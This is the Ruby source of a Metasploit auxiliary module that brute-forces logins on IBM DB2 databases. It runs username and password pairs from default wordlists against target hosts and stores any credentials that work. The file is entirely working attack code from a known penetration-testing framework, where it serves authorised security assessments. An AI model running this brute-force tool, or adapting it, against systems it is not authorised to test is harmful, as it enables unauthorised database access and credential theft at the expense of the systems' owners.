98 lines
3.4 KiB
Ruby
98 lines
3.4 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'metasploit/framework/credential_collection'
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require 'metasploit/framework/login_scanner/db2'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::DB2
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include Msf::Auxiliary::AuthBrute
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include Msf::Auxiliary::Scanner
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include Msf::Auxiliary::Report
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def initialize
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super(
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'Name' => 'DB2 Authentication Brute Force Utility',
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'Description' => %q{This module attempts to authenticate against a DB2
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instance using username and password combinations indicated by the
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USER_FILE, PASS_FILE, and USERPASS_FILE options.},
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'Author' => ['todb'],
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'References' =>
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[
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[ 'CVE', '1999-0502'] # Weak password
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],
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'License' => MSF_LICENSE
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)
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register_options(
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[
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Opt::Proxies,
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OptPath.new('USERPASS_FILE', [ false, "File containing (space-seperated) users and passwords, one pair per line",
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File.join(Msf::Config.data_directory, "wordlists", "db2_default_userpass.txt") ]),
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OptPath.new('USER_FILE', [ false, "File containing users, one per line",
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File.join(Msf::Config.data_directory, "wordlists", "db2_default_user.txt") ]),
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OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
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File.join(Msf::Config.data_directory, "wordlists", "db2_default_pass.txt") ]),
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], self.class)
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end
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def run_host(ip)
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cred_collection = Metasploit::Framework::CredentialCollection.new(
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blank_passwords: datastore['BLANK_PASSWORDS'],
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pass_file: datastore['PASS_FILE'],
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password: datastore['PASSWORD'],
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user_file: datastore['USER_FILE'],
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userpass_file: datastore['USERPASS_FILE'],
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username: datastore['USERNAME'],
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user_as_pass: datastore['USER_AS_PASS'],
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realm: datastore['DATABASE']
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)
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cred_collection = prepend_db_passwords(cred_collection)
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scanner = Metasploit::Framework::LoginScanner::DB2.new(
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host: ip,
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port: rport,
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proxies: datastore['PROXIES'],
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cred_details: cred_collection,
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stop_on_success: datastore['STOP_ON_SUCCESS'],
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bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
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connection_timeout: 30,
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max_send_size: datastore['TCP::max_send_size'],
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send_delay: datastore['TCP::send_delay'],
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framework: framework,
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framework_module: self,
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ssl: datastore['SSL'],
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ssl_version: datastore['SSLVersion'],
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ssl_verify_mode: datastore['SSLVerifyMode'],
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ssl_cipher: datastore['SSLCipher'],
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local_port: datastore['CPORT'],
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local_host: datastore['CHOST']
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)
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scanner.scan! do |result|
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credential_data = result.to_h
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credential_data.merge!(
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module_fullname: self.fullname,
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workspace_id: myworkspace_id
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)
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if result.success?
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credential_core = create_credential(credential_data)
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credential_data[:core] = credential_core
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create_credential_login(credential_data)
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print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
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else
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invalidate_login(credential_data)
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vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
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end
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end
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end
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end
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